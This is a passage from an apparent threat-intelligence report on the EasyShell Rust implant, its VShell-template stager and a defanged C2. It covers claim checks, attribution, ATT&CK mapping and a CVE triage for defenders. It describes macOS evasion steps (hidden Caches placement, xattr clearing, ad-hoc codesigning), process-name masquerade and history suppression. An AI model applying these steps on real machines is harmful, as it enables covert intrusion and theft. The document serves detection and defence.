On current macOS, a screen capture and an AppleScript call to System Events by an unknown binary are subject to TCC privacy permissions (Screen Recording, Automation). The developer message about TCC shows the author expects that friction Confirmed. For defenders this is useful: TCC prompts or denials for a binary named polkitd in a user cache folder are a detection point Medium.

■ 15.4 What the payload set changes in this report

  • The C2, key and constant are confirmed for all seven builds; the IOC and YARA content covers all seven.
  • The macOS client is built for a Mac with a logged-in user: silent screenshots and a mouse-based presence check. Together with both darwin builds being live on the C2, Macs are in scope of this campaign (18.2, 18.3).
  • Template builds come from several toolchains (Ubuntu 22.04 GCC, separate ARM64 and LoongArch toolchains, Apple linker with SDK 15.2), all with the USTC cargo mirror; l128 was rebuilt with a newer rustc after 2026-05-25 Confirmed.
[EDU] What to learn here
  • When a stager serves several builds, collect them all. Shared config values prove one operator setup; platform-specific modules show what the operator wants on each platform.
  • On macOS, read the load commands and the code signature before the code. Minimum OS, SDK, linked frameworks and the signature identifier tell you how and where the binary was built.

《 16. What static analysis alone cannot dissect 》

  • All seven payloads were analysed statically; none was executed, so runtime behaviour (for example the AppleScript and TCC paths on macOS) is described from strings and code references only.
  • The stager execution tail (after the execute-permission line) is not in the screenshot.
  • The TLS certificate on port 8443 was not collected.
  • No Windows EasyShell implant, no Extensions plugin and no Go server or client component are in hand.
  • The crypto scheme behind the 32-byte value and the !inj: command path were not traced.
  • The EasyShell server side (admin console, listeners, notification features) is described only by OSINT notes and cannot be checked from l32.

These are listed as gaps, not as expectations. Any update will be added as an addendum.

《 17. Cross review of the reverse engineering notes and final call 》

Four statc analysis notes on samples (#1 to #4) I created on different angles and softwares, and two OSINT notes (A, B on different timing) were written for this case. Tend to be self-critical, I was using the analysis claim-scheme playbook which every claim that changes the conclusion is checked below against the sample and the sources I could read. The objectie is to produce verdict as objective as it can with clear reasoning.

■ 17.1 Claim check

ClaimRaised byVerdictEvidence
Stager is an installer, not an uninstaller#2, #3, #4ConfirmedScript text
Stager is a "miner" dropper#1, #2Not supportedNo miner logic in the script; l32 has no mining code
Stager follows the VShell stager template#1, #3, #4, AHighTrellix, incident write-up, NVISO labels
VShell serves exactly /file/<arch> incl. l128#3Not supportedPublic material shows ?a=l64&stage=true and d64/m64; /file/ and l128 not documented
Payload is VShell#1Not supportedl32 is Rust; VShell clients are Go (NVISO, GTIG)
Payload is a Rust EasyShell beacon implant#2, #3, #4ConfirmedCrate paths, config slots, beacon strings
Related to Kinsing / SystemTen#1, #2Not supportedNo Kinsing markers in stager or payload
GTIG documented polkitd masquerade in SNOWLIGHT/VShell#1, #3Not supportedGTIG shows polkitd as the argument of COMPOOD (file /tmp/vim), not VShell
C2 port 8443 uses a self-signed certificate#3UnverifiedOnly inferred from -k flags; certificate not collected
MalwareBazaar hash and HPE Mach-O VShell spike as correlation#3UnverifiedNot checked against the cited sources
!ES/1/PASS/ = 8M5c7faX...#3Not supportedPASS slot empty; constant used elsewhere (chapter 13)
!ES/8/BURI/ = C2 URL#3UnverifiedURL loaded by code from a separate field
XOR 0x5A string protection#3, #4ConfirmedDecoder at 0x080b2721
TLS validation explicitly disabled in the implant#3UnverifiedNoVerifier/IgnoreHostnames are library enum names; the code path was not traced
Chinese language build environment#2, #3, #4HighUSTC mirror, zh-CN header, Chinese operator text
Kernel-thread name masquerade, anti-sandbox, history suppression#3, #4ConfirmedTables and strings in chapter 9
IP and implant markers not in public reporting#1 to #4, A, BMediumSearch engines and the pages reachable on 2026-11-20
Neighbour 192[.]3.31[.]219 is old AgentTesla hosting, unrelatedAConfirmedURLhaus host page
192[.]3.211[.]176:19999 is a ThreatFox VShell C2 on the same providerAUnverifiedEntry not read; even if true, provider match only
Chinese "EasyShell" red team tool is a different Go implementationAPartlyThe red team EasyShell exists; the l32 strings match it (chapter 14), so "different" is not supported
EasyShell is a Chinese red team C2 framework linked to doki-byteBHighv1.9 and trial notes, GitHub profile (chapter 14)
README credits VShell, Rshell and Cobalt StrikeBUnverifiedRepository page not reachable
Stager is the native EasyShell stager, not a mash-upBUnverifiedRests on the README claim; stager routes are not inside l32
HTTP and DNS listeners added on 2026-10-24BNot supportedThe v1.9 note already fixes HTTP, DNS and KCP listener sessions
v1.8 rebuilt the client in Rust, 10 MB to 2 MBBPartlyClient rebuild and smaller size confirmed; Rust and the sizes not in the page I read
15-minute temporary staging listener explains why scanners missed the C2BNot supportedFeature not verified; scanner silence does not prove a closed port
Default admin console on tcp/58090 with Basic authBUnverifiedServer side; not checkable from l32; not used as a pivot here
Extensions plugins load from the implant directoryBPartlyExtensions plugin set confirmed in l32; directory and auto-load not
Linux user-mode hiding plugin, "likely LD_PRELOAD"BUnverifiedNo hiding code in l32; mechanism is a guess
SMTP, WeCom and DingTalk notificationsBUnverifiedServer side; nothing in l32
Built with AI help; bypasses named AV productsBUnverifiedDeveloper claims, not testable here
Operators will combine it with Redis or cloud key abuseBNot supportedPrediction, removed from this report

■ 17.2 Confirmed

  • The stager is a Linux and macOS installer that drops polkitd from hxxps://192[.]3.31[.]148:8443.
  • The l32 payload is a Rust HTTPS beacon implant of a framework named in its own build as EasyShell (easyshell-http-beacon-implant, impl-core).
  • Capabilities: PTY shell, plugin and script execution, chunked file transfer, folder archiving, SOCKS5 and relay tunnels, outbound proxy, screenshot helper, process control, self delete, anti-sandbox, kernel-thread name masquerade, XOR 0x5A string protection.
  • It is not VShell, not a miner, and has no Kinsing or SystemTen code.
  • A red team C2 framework named EasyShell is promoted with versions, listener types, a trial program and a paid member circle.

■ 17.3 High

  • The stager reuses the public VShell stager template and was extended with /file/ routes, Darwin and LoongArch targets and macOS Gatekeeper handling.
  • l32 is a client of that EasyShell red team framework, which comes from the doki-byte tool ecosystem.

■ 17.4 Not established

  • Who operates the C2. The tool author is not the operator by default.
  • Initial access vector, as the threat is new, the traffic is limited and the way it's distributed may leave traces that may lead analysts to the similar threat.
  • Role of the 32-byte base64 value and of the 32-character constant.
  • Any second C2 node, leaked source code or paste for this implant: none found on 2026-11-20.

■ 17.5 Naming: Linux/EasyShell

The family is named after the strings the author left in the build: easyshell-http-beacon-implant, the !ES/ slot tags and ES_SHELL_BATCH_MS. "ESCH" is kept as an alias because it appears in the operator messages (ESCH chunk:); its expansion is not known Unverified. "VShell" is used only for the stager template, and "strain" is not used because no parent family is proven.

The name EasyShell is also used by unrelated, legitimate software. None of them is a Rust beacon and none shares the implant crate names Confirmed:

Project (public)What it isLink to this implant
oyzh1994/easyshellCross-platform multi-protocol client (SSH, SFTP, RDP, VNC, Redis, ...)None found
3th1nk/easyshellGo library for interactive shell over SSH/TelnetNone found
easyshell-ai/easyshellServer operations platform with agents and web terminalNone found
anb0s/EasyShellEclipse plugin (discontinued)None found
methodox EasyShell (easy)C# scripting language for build automationNone found
tiandi0716/EasyShell, gitee easyshellSSH / SFTP / RDP desktop clientsNone found
▸ When you search for this threat, use easyshell-http-beacon-implant, impl-core or !ES/9/UAGT/. The word "easyshell" alone returns the projects above.
Final call: Linux/EasyShell, a Rust client of a Chinese red team C2 framework, delivered by a VShell-template multi-platform stager from one ColoCrossing host; operator unknown; no attribution to a named actor.
[EDU] What to learn here
  • A cross review is not a vote. One note with evidence beats three notes repeating the same first impression.
  • Reject inference written as fact, even when it sounds plausible. "Scanners did not see it, so the port closed after 15 minutes" is a story, not evidence.
Part II — CTI analysis

《 18. CTI: Threat model 》

FieldValueSupporting text
ThreatLinux/EasyShell (alias ESCH)Rust HTTPS beacon client of the EasyShell red team C2 framework (chapter 14)
CategoryRemote access implant (dual-use red team kit used in the wild)No mining, no spreader, no ransomware code in l32
PlatformsLinux x86, x86_64, ARM, ARM64, LoongArch; macOS Intel and Apple SiliconStager targets; only Linux i386 analysed
DeliveryShell stager from hxxps://192[.]3.31[.]148:8443/file/<arch>Needs a shell command on the target; entry point not observed
C2HTTPS POST /api/v2/sync on tcp/8443Chapter 7
ObjectiveInteractive control, file transfer, tunnelling into the network, plugins for credentialsCapabilities, not observed actions
VictimsNone observedNo victim data in this case
ImpactHighFull remote shell with root when the stager ran as root, plus SOCKS and relay pivot into internal networks
LikelihoodNot measurable from one sampleExposure grows with the tool distribution (trial and member model confirmed)

■ 18.1 What the campaign aims at

Only the capabilities are proven; the intent behind this C2 is not. The l32 command set is built for a person at the keyboard: PTY shell, file upload and download, folder archiving, SOCKS5 and relay tunnels, outbound proxy, screenshot, process control, and plugins for credential dumping and browser passwords. There is no miner, no DDoS module, no ransomware and no spreader Confirmed. The aim class is therefore hands-on access: collect data and credentials and pivot into internal networks from a foothold High.

ReadingFits the evidence becauseAgainst it / missingConfidence
Criminal or espionage operator using a commercial kitAccess and pivot toolset; credential plugins; hosting on a cheap VPS providerNo victim, no data theft observedUnverified
Access broker (sell or hand over footholds)Tunnels and relay hops keep access usable for othersNo marketplace or resale evidenceUnverified
Authorized red team engagementEasyShell is sold as a red team tool; one C2, no observed harmServed openly to anyone who requested the stagerUnverified
▸ None of these readings can be excluded with one C2 and no victim. The report keeps "operator unknown" until a victim or a second C2 is found.

■ 18.2 Why macOS is in scope

The stager handles macOS with care, and its own comments (translated) explain why: it uses the user-level ~/Library/Caches folder because no root is needed and Finder hides it; it clears extended attributes so the file still runs "even if it was delivered by a browser or AirDrop"; and it ad-hoc signs the file because "Apple Silicon requires executables to carry a valid signature", skipping the step when Xcode Command Line Tools are missing "so no install prompt pops up" Confirmed.

ReadingEvidenceConfidence
R1: the macOS branch is part of the framework generic deployment one-liner, written for every client buildGeneric wording ("any darwin payload", browser or AirDrop delivery that has nothing to do with this curl download); the framework also has a Windows side, so client builds exist for several platformsMedium
R2: the operator keeps Macs in scope, in particular Macs with a user in front of them (developer and admin machines)Both darwin builds are live on the C2 and the stager routes Darwin hosts to them; care to avoid a visible prompt; the macOS client takes silent screenshots and checks mouse movement through AppleScript (chapter 15); Linux and macOS together fit developer and DevOps estatesHigh (in scope) / Unverified (Macs as the main target)

Both readings are true at the same time: the framework makes a macOS client available (R1), and this operator chose to keep it live on the server (R2). Hosting a payload is an operator decision even when a builder generates it. What one server cannot show is whether Macs are the main target or one platform among all of them; macOS EDR telemetry for ~/Library/Caches/polkitd and TCC prompts naming it would answer that. Chapter 23.8 lists the October and November 2026 vectors that can reach Linux and macOS together.

■ 18.3 Practical macOS infection chain

Nothing in the stager or the clients exploits macOS. The Mac is infected when one shell command runs as the user; from there each step below is in the stager text or the darwin binaries.

[0] Entry      not observed: Terminal paste lure | poisoned dev package | operator over SSH
        |              (stolen keys, or pivot through a Linux foothold SOCKS/relay tunnel)
[1] Fetch      one-liner pulls the stager from hxxps://192[.]3.31[.]148:8443 (TLS checks off)
        |
[2] Place      uname -s = Darwin  ->  cd ~/Library/Caches  (no root, hidden in Finder)
        |
[3] Select     uname -m  ->  /file/darwin_arm64 or /file/darwin_amd64  saved as polkitd
        |              curl download carries no quarantine flag
[4] Prepare    chflags hidden -> xattr -c -> codesign --force --sign - (only if Xcode CLT exists)
        |
[5] Run        chmod +x, start (launch line cut off in the screenshot)
        |
[6] Check      sysctl hw.model, AppleScript mouse position via System Events
        |
[7] Beacon     HTTPS POST /api/v2/sync  X-Client-Id
        |
[8] Operate    zsh shell, files, folder zip, screencapture -x, SOCKS/relay, plugins
        |
[9] Persist    none in the client: gone at logout or reboot unless the operator adds it
StepEvidenceConfidenceWhere defenders can see it
0 EntryNot in the artifacts; the routes are the ones that give a user shell on a MacUnverifiedTerminal history, browser history of the lure page, package install logs, SSH auth logs
1 to 4Stager lines 10 to 67ConfirmedUnified log and EDR process events for curl, chflags, xattr, codesign with polkitd; Sigma rule in the pack
3 QuarantineA file fetched by curl has no com.apple.quarantine attribute, so the Gatekeeper first-launch check that keys on it does not apply; the stager clears attributes anywayHighExecutable without quarantine in a user Caches folder
4 SignatureBoth darwin files are already ad-hoc signed as served, so the re-sign step is a safety netConfirmedSignature identifier http-beacon-implant-* or a re-signed polkitd without Team ID
6 Checkosascript and sysctl strings in the client; runtime behaviour of the AppleScript query not testedConfirmed (strings)osascript child of polkitd; Automation prompt for System Events
8 Screenshotsscreencapture -x -t png; macOS asks for Screen Recording permission before a full captureConfirmed / permission HighScreen Recording prompt or TCC log entry naming the binary or its parent terminal
8 Process listOperator hint: TCC may block it, "grant Full Disk Access or run from Terminal once"ConfirmedFull Disk Access requests in TCC logs

What the TCC hint tells us about the launch. On macOS, a program started from a Terminal session is normally checked against the privacy permissions of that terminal app. A developer who writes "run from Terminal once" expects the client to be started from an interactive Terminal or SSH session Medium. That fits the Terminal paste lure and the operator over SSH better than a silent drive-by. It also means the first AppleScript or screen capture can raise a visible prompt such as "Terminal wants to control System Events", which a careful user or an MDM log can catch Medium.

What they gain on a Mac. Developer and admin Macs hold source code, SSH keys, cloud tokens and VPN access. With no persistence in the client, the pattern that fits is a short hands-on session: take keys and tokens, look at the screen, then move to servers through the tunnels Medium.

[EDU] What to learn here
  • On macOS, ask first how the first command ran. A kit without an exploit still works on a Mac if a user or an SSH session runs one line.
  • Quarantine, signature and TCC are separate controls. Check each one in your logs: missing quarantine, ad-hoc signature without Team ID, and TCC prompts naming an unknown binary.
[EDU] What to learn here
  • Capabilities tell you what an implant can do, not what its operator wants. Write the aim as a capability class and keep intent as a separate, rated reading.
  • Comments left in a stager often explain design choices. Read them as the developer voice, not as campaign intelligence.

《 19. CTI: Actors and attribution 》

ItemValueEvidenceConfidence
ToolEasyShell red team C2 frameworkBuild strings plus public release notesHigh
Tool developerDeveloper ecosystem around GitHub handle doki-byteBundled member offer with EasyTools and morelianHigh
Tool distributionWeChat channels, trial program, paid member circlev1.9 and trial notesConfirmed
Operator of 192[.]3.31[.]148UnknownAny trial or member user can run the kitUnverified
Language environmentChinese (Simplified)Operator text, zh-CN header, USTC mirror, stager commentsConfirmed
Named threat groupNoneNo overlap with a reported group beyond the shared VShell stager templateUnverified

■ 19.1 Analyst note on the "doki-byte" link

▸ The link is to the tool, not to the attack. Naming a tool developer as the attacker would be the same mistake as naming the Cobalt Strike vendor for every Beacon in the wild. The developer link is kept at High because of the shared member offer, and the operator stays Unknown.

■ 19.2 Diamond model

                     [ ADVERSARY ]
              operator unknown (EasyShell user)
            tool from the doki-byte ecosystem
                    /          \
                   /            \
[ CAPABILITY ]                    [ INFRASTRUCTURE ]
EasyShell Rust implant            192[.]3.31[.]148:8443
VShell-template stager            AS36352 HostPapa / ColoCrossing
                   \            /
                    \          /
                     [ VICTIM ]
        internet-facing Linux / macOS hosts (none observed)

■ 19.3 Source reliability and information credibility (Admiralty code)

StatementSourceGrade
Stager behaviour, l32 code and stringsOwn static analysis of the artifactsA1
VShell stager templateTrellix, NVISO, incident write-upB2
EasyShell versions, listeners, trial and member modelgm7.org and cn-sec.com copies of the developer notesB2
doki-byte repositoriesGitHub profileA2
README contents, admin port, 15-minute listener, notification channelsOSINT note B, source not reachableC6
192[.]3.211[.]176 VShell entryOSINT note A citing ThreatFox, not readB6
192[.]3.31[.]219 AgentTesla historyURLhaus host pageA1
[EDU] What to learn here
  • Grade the source and the information separately. A good source can carry an unchecked claim, and that is what the 6 means.

《 20. CTI: Timeline and related public research 》

Legend: blue = public VShell research, purple = public EasyShell framework notes, red = October 2026 vulnerability wave (context, see 20.1), yellow = this analysis. Only dated, sourced events are listed.

2025
Trellix documents the VShell stage-2 downloader with PATH extension and the writeablex probe. (Trellix)
2025-11
NVISO publishes VShell decoding research with the short architecture labels (l64, l32, a64, a32, d64, m64). (NVISO)
2025-12
Same writeablex stager template seen after React2Shell exploitation, older ?a=l64&stage=true URL form, tcp/8443, random payload name. (iYoRoy write-up)
after 2026-04-14
Six client templates (l32, l64, a32, a64, darwin_amd64, darwin_arm64) compiled with rustc 1.95.0 (released 2026-04-14), crates from the USTC mirror. (.comment, cargo paths)
after 2026-05-25
LoongArch template (l128) compiled with rustc 1.96.0 (released 2026-05-25). (l128 .comment)
mid 2026 (indexed by June)
EasyShell v1.9 note: HTTP, DNS and KCP listener fixes, Linux build fix, client rework; lists v1.8 (client rebuilt, smaller) and v1.7. (gm7.org)
2026-08
PHP2Shell (CVE-2026-109618/109619) found with AI help by Calif, OpenAI and Wiz; reported for coordinated disclosure. (Wikipedia: PHP2Shell)
mid 2026 (indexed by August)
EasyShell trial program announced for normal users. (gm7.org)
2026-10-01
GTIG data: CVE disclosures doubled in 2026; half of the flaws it rates as likely AI-found lead to remote code execution. (Help Net Security)
2026-10-17
First PHP2Shell exploitation attempt seen by AWS, four days before the fix. (Datadog Security Labs)
2026-10-21
PHP fixes released; honeypot exploitation observed the same day; 1,187 source IPs sent PHP2Shell requests from 21 to 25 October. (watchTowr, CrowdSec)
2026-10-23 to 24
Suspected China-nexus actor chains PHP2Shell with the Fragnesia kernel flaw (CVE-2026-46300), roots 25 servers, plants web shells. (The Register on Dream research)
2026-10-26
CISA adds both PHP2Shell CVEs to KEV. (Tenable)
2026-10 onward
Storm-3358 uses the ARTEX agentic framework and deploys RATs including vshell (a different tool from EasyShell). (Microsoft)
2026-11-09
SSHole (CVE-2026-123158) added to KEV (chapter 23). (CISA KEV)
2026-11-19
Stager with /file/<arch> routes, Darwin and LoongArch targets, and the l32 payload collected from hxxps://192[.]3.31[.]148:8443. (this case)
2026-11-20
No public report, paste, code repository or second C2 found for the implant strings, the routes or the IP. (MMD search pass)
▸ Exact dates given by OSINT note B (first release 14 to 16 May 2026, v1.8 on 3 June 2026, an update on 24 October 2026) were not confirmed in the pages I could read, and the 24 October listener claim conflicts with the v1.9 note. They are left out of the timeline.

■ 20.1 Hypothesis check: did Linux/EasyShell ride the October 2026 vulnerability wave?

Hypothesis tested: the October 2026 wave of AI-found vulnerabilities, starting with the PHP mass exposure (PHP2Shell), was taken by the EasyShell operator as the chance to start this campaign. I tested it against three readings, in ACH style, with only sourced or sample-based evidence.

ReadingStatement
H1The campaign started with the wave, PHP2Shell first (early or late October 2026).
H2The kit is used during the wave as one of several entry options; start date unknown.
H3The campaign is unrelated to the wave (other entry, or it predates October).
#EvidenceSourceH1H2H3
1The EasyShell framework was versioned and offered in trial before the wave (indexed by June and August 2026)Chapter 140++
2l32 was compiled after 2026-04-14; no upper bound on the build datel32000
3The C2 was seen on 2026-11-19; no earlier public sighting of the IP, routes, hash or stringsThis case000
4The stager falls back to /tmp without root and writes to /usr/bin with root: it fits a web-server RCE, but also any shell accessStager+++
5The stager also targets macOS (Intel and Apple Silicon) and LoongArch; PHP2Shell targets are web servers, so a PHP-only start does not explain these targetsStager−++
6Public PHP2Shell post-exploitation reports describe Mirai and booter bots, a Go agent, web shells, reverse-shell loops and scripts; none names EasyShell, this C2, polkitd or /file/<arch>Ellio, Karimi honeypot, SOCRadar, Dream−0+
7Chinese-speaking operators did exploit PHP2Shell, and other actors deployed VShell-class RATs during OctoberDream, Microsoft000
8The Chrome 131 Windows User-Agent built into l32 also appears in PHP2Shell scan traffic; it is a common default stringF5 Labs000
9No victim, no web logs and no process tree exist for this case, so the entry point cannot be testedThis case000
▸ Legend: + consistent, − inconsistent, 0 neutral or no diagnostic value. Rows 7 and 8 show only that the opportunity existed. A shared User-Agent string is not a link.
Result: H1 is Unverified with no supporting evidence: the only link is that the C2 was found during the wave. Rows 5 and 6 argue against a PHP2Shell-first start. H2 cannot be excluded, and the vulnerability triage in chapter 23 is written for that case. This report does not claim the campaign started in October.

■ 20.2 What would confirm or reject the hypothesis

  • Web server logs from a victim showing PHP2Shell-style multipart requests (hundreds of empty fields, deep nested names, upload-progress field) followed within minutes by a fetch of /file/<arch>.
  • A process tree apache2 / httpd / php-fpm → sh → curl -k or wget --no-check-certificate to the C2 (Sigma rule added to the pack, chapter 27).
  • First-seen dates for 192[.]3.31[.]148:8443 in scan, certificate or passive DNS history: a first sighting before October weakens H1, a first sighting after 21 October supports it.
  • First-submission dates of the seven payload hashes in malware repositories.
  • Honeypot captures that carry the writeablex probe or the /file/ routes in an exploit body.
[EDU] What to learn here
  • Two events in the same month are a timeline overlap, not a cause. Write the hypothesis, list what would disprove it, then look for that first.
  • An evidence row that fits every reading has no diagnostic value. Keep it in the table, but do not count it as support.

■ 20.3 What this post adds to the public reports

  • First public analysis of an EasyShell client binary: config slots, beacon protocol, XOR 0x5A pool, module list, anti-sandbox and masquerade.
  • First public link between the EasyShell red team framework and an in-the-wild C2 and stager.
  • A VShell-template stager variant with /file/ routes, LoongArch and macOS Gatekeeper handling.
  • YARA, Sigma, Snort, Suricata, osquery and STIX content for the stager and the implant.

《 21. CTI: Kill chain of the attack scheme 》

[1] Reconnaissance   not observed
        |
[2] Weaponization    builder patches !ES slots, EasyShell impl-core per arch
        |
[3] Delivery         hxxps://192[.]3.31[.]148:8443/file/<arch>
        |
[4] Exploitation     entry point not observed (see chapter 23)
        |
[5] Installation     /usr/bin/polkitd or ~/Library/Caches/polkitd (hidden, quarantine cleared, ad-hoc signed)
        |
[6] C2               POST /api/v2/sync  X-Client-Id, kworker name, anti-sandbox
        |
[7] Actions on Obj.  shell, plugins, file transfer, SOCKS/relay, screenshot, self delete
PhaseThis caseWhere to break the chain
Deliverycurl/wget/python with TLS checks off to a raw IP on tcp/8443Egress filtering for servers; alert on downloads from raw IPs; block /file/<arch> routes at the proxy
ExploitationNot observedPatch the internet-facing services in chapter 22; remove shell access from web service accounts
InstallationRoot writes into /usr/bin; macOS quarantine removedFile integrity monitoring on system bin directories; package verification (rpm -Va, debsums); MDM rule for ad-hoc signed binaries in Caches
C2HTTPS beacon with a Windows browser UA from a Linux hostTLS inspection or JA3/JA4 baselines; proxy rule for /api/v2/sync plus X-Client-Id
ActionsTunnels and pluginsBlock outbound SOCKS and unusual listeners; EDR on child processes of fake kernel threads

《 22. CTI: TTP — MITRE ATT&CK matrix 》

Only techniques seen in the stager text or the l32 binary are mapped.

Execution
T1059.004 Unix Shell
Stager script; PTY shell in interactive.rs
T1059.002 AppleScript
osascript mouse check in the macOS client
Defense Evasion
T1036.005 Match Legitimate Name or Location
polkitd file name; eleven kernel-thread process names
T1564.001 Hidden Files and Directories
chflags hidden on macOS
T1553.001 Gatekeeper Bypass
xattr -c and ad-hoc codesign
T1497.001 System Checks
DMI, hypervisor names, resources; sysctl hw.model on macOS
T1497.002 User Activity Based Checks
/dev/input/mice on Linux; AppleScript mouse position on macOS
T1027 Obfuscated Files or Information
XOR 0x5A string pool
T1070.004 File Deletion
delete_self.rs
T1562.003 Impair Command History Logging
HISTFILE=/dev/null, HISTFILESIZE=0
Discovery
T1057 Process Discovery
Process list in svc_ops.rs
T1082 System Information Discovery
sysinfo.rs, uname in the stager
Collection
T1113 Screen Capture
screenshot_sidecar.rs on Linux; silent screencapture -x on macOS
T1560.002 Archive via Library
Folder zip in folder_zip.rs
Command and Control
T1071.001 Web Protocols
HTTPS POST /api/v2/sync
T1105 Ingress Tool Transfer
/file/<arch> downloads; plugin delivery
T1090 Proxy
SOCKS5, relay hops, outbound proxy
T1571 Non-Standard Port
HTTPS on tcp/8443

■ 22.1 Framework techniques not seen in l32

TechniqueEvidence
Credential dumping, token elevation, browser passwords (T1003, T1134, T1555.003)Offered through the Extensions plugin set per operator text; plugins not in hand
Process injection (T1055)!inj: command marker only; behaviour not traced
Persistence (autostart)Mentioned in the v1.9 demo; no routine in l32

《 23. CTI: Targeted vulnerabilities and weaknesses 》

■ 23.1 Weaknesses abused in this case

WeaknessHow it is abusedEvidence
Shell access as root on a serverStager writes into /usr/bin after the writable probeStager lines 1 to 8
Unrestricted server egressPayload download and beacon to a raw IP on tcp/8443Stager URLs, config C2
TLS verification off in download toolscurl -k, wget no-check, python unverified contextStager lines 46 to 48
macOS quarantine can be removed by the user contextxattr -c and ad-hoc signingStager lines 53 to 67
Process names are not verifiedKernel-thread names on a user processChapter 9

■ 23.2 Vulnerability triage (October to November 2026)

No initial access was observed in this case. This section does not say which vulnerability was used. It lists the vulnerabilities published or added to CISA KEV between 1 October and 19 November 2026 that match what this threat needs: a shell command on an internet-facing Linux (or macOS) host, so the stager can run. Each row is a checklist for defenders, scored with one fixed weight model so the order is reproducible. Whether the October 2026 wave (PHP2Shell first) was the start of this campaign is tested separately in 20.1: not supported by evidence so far.

■ 23.3 Selection rules

  • Published, or added to KEV, from 2026-10-01 to 2026-11-19.
  • Outcome is code or command execution on a Linux or Unix server, or a login shell.
  • Windows-only, client-side and appliance-only flaws are left out (example: Cisco Expressway CVE-2026-76466, a root RCE on an appliance, does not match the generic uname based stager).

■ 23.4 Weight model (100 points)

Check itemWeightRule
CISA KEV25Listed = 25, not listed at check = 0
Exploitation report outside KEV10Vendor, CERT or MDR statement of in-the-wild use = 10
CVSS base109.0 and above = 10, 7.0 to 8.9 = 6, not collected = 0 (highest published score used)
EPSS (FIRST)1510% and above = 15, 1% to 10% = 10, 0.1% to 1% = 5, not collected = 0
SSVC (CISA Vulnrichment)10Automatable yes = 5, Technical Impact total = 5, not collected = 0
Fit to this threat20High = 20, medium = 10, post-access = 5
Pre-authentication10No privileges or credentials needed = 10
CWE / EUVD / CWSS / CSAF0Recorded as checklist fields, not scored (identifiers and advisory format, not risk signals)

■ 23.5 Triage matrix

▸ [!] Wide table: scroll sideways to see the Fit and Score columns.
#CVEEUVDProductCWECVSSEPSSCISA KEVSSVCCWSSCSAFFit to this threatScore
1CVE-2026-123158 (SSHole)n/cOpenSSH sshd < 10.6p2 on musl Linux without PAM (Alpine, Buildroot, OpenWrt)CWE-394 (Red Hat: CWE-303)8.1 (v3.1)16.5% (FIRST, 2026-11-10)2026-11-09Expl. active, Auto no, Totaln/cRed Hat not-affected statement (VEX: verify)High: Linux servers and containers, unauth shell login; watchTowr reported botnet and miner use91
2CVE-2026-90436EUVD-2026-118323Apache Axis 1.x (Confluence DC Remote API, N-able N-central)CWE-4709.8 (CISA ADP v3.1) / 9.3 (Atlassian v4.0)0.57%2026-11-18Expl. none*, Auto yes, Totaln/cverifyHigh: Linux Java servers, unauth RCE, Rapid7 MDR saw exploitation 2026-11-1390
3CVE-2026-109618 / -109619 (PHP2Shell)n/cPHP 8.2 to 8.5 coreCWE-1419, CWE-824, CWE-1325 (CNA)9.2 (PHP v4.0) / 9.8 (v3.1)>96th percentile (value n/c)2026-10-26n/cn/cverifyHigh: PHP web servers on Linux, unauth75
4CVE-2026-90817n/cREDCap >= 13.3.0CWE-94, CWE-739.8 (v3.1)n/c2026-11-18n/cn/cverifyMedium: needs a valid public survey hash; Unit 42 tracked an XMRig campaign through it (2026-10-07)65
5CVE-2026-102895n/cGPUStackn/c9.8n/c2026-11-09n/cn/cverifyMedium: Linux AI inference hosts; unauth admin access to code execution; in-the-wild report credited in the advisory65
6CVE-2026-119618 (HTTP2Reset)EUVD-2026-123532Apache httpd 2.4.55 to 2.4.70, mod_http2CWE-362, CWE-209.8 (Red Hat) / 8.1 (CSA, CISA)1.5% to 1.6%not listed at checkn/cn/cRed Hat RHEL packages listed (CSAF VEX: verify)High: Linux web servers with HTTP/2; Singapore CSA reported exploitation 2026-11-1760
7CVE-2026-106931n/cSiteGuard Server Edition (host WAF in Apache, Nginx, IIS)CWE-787.8 (v3.0) / 8.5 (JVN v4.0, local, PR:L)0.66% (51st pct)2026-10-20n/cn/cJVN#88474777Medium: root command execution on Linux web servers, widely used in Japan; local vector per JVN56
8CVE-2026-115731EUVD-2026-116495Puppet Server / OpenVox (report deserialization)CWE-502, CWE-949.4 (v4.0, PR:L)0.37%2026-11-17Expl. none*, Auto no, Totaln/cRed Hat CVE page (verify)Medium: Linux management servers; needs an agent certificate (autosign can expose it)55
9CVE-2026-116779n/cSignalWire FreeSWITCHn/c9.8n/c2026-11-09n/cn/cverifyMedium: Linux VoIP servers, command execution45
10CVE-2026-129448n/cApache Roller 4.0.0 to 6.1.4 (XML-RPC)CWE-5029.8 (v3.1)not yet scorednot listed at checkn/cn/cverifyMedium: Java blog servers, unauth; ASF confirmed exploitation40
11CVE-2026-46300n/cLinux kernel (local)n/cn/cn/c2026-10-28n/cn/cverifyPost-access only: privilege escalation after a foothold (lets the stager write into /usr/bin)30
▸ n/c = not collected in this pass. * SSVC "Exploitation none" is the pre-KEV Vulnrichment value; the KEV listing supersedes it. CWSS: no published CWSS score exists for these CVEs, so the column stays open for your own weakness scoring. CSAF: "verify" means check the vendor or distribution CSAF/VEX feed (for example Red Hat security data) before relying on it. EPSS values move daily and the sources disagree for SSHole (0.98% to 18.9% depending on date); the FIRST value of 2026-11-10 is used.

■ 23.6 Score breakdown

CVEKEV 25Exploit report 10CVSS 10EPSS 15SSVC 10Fit 20Pre-auth 10Total
CVE-2026-123158 (SSHole)25106155201091
CVE-2026-90436251010510201090
CVE-2026-109618 / -109619 (PHP2Shell)25010100201075
CVE-2026-9081725101000101065
CVE-2026-10289525101000101065
CVE-2026-119618 (HTTP2Reset)01010100201060
CVE-2026-106931251065010056
CVE-2026-115731250105510055
CVE-2026-116779250100010045
CVE-2026-1294480101000101040
CVE-2026-463002500005030

■ 23.7 Reference case (outside the window)

CVE-2025-55182 (React2Shell, CVSS 10.0, disclosed December 2025) is the only public case where the same writeablex stager template was documented after exploitation. It is listed for context and not scored, because it is outside the October to November window.

■ 23.8 Vectors that reach both Linux and macOS (October to November 2026)

Most flaws in 23.5 hit Linux servers only. The stager also serves macOS, so I checked which published October and November 2026 vectors run on both. None of them is linked to this C2; this is a list of candidates to check, ranked by fit.

VectorDateLinuxmacOSFit to this stagerLink to this case
LiteLLM 1.107.0 on PyPI and Docker (stolen maintainer tokens): credential stealer plus an hourly remote code loader on Linux and macOS; loader seen dormant (SOCRadar, Help Net Security)2026-10-21YesYesHigh: a loader already running on both platforms only needs a URL to fetch a two-OS stagerNone found
Stolen SSH keys and cloud credentials from the supply chain incidents in this tableOct to NovYesYesHigh: the stager is one command that works on any Unix host it is pasted intoNone found
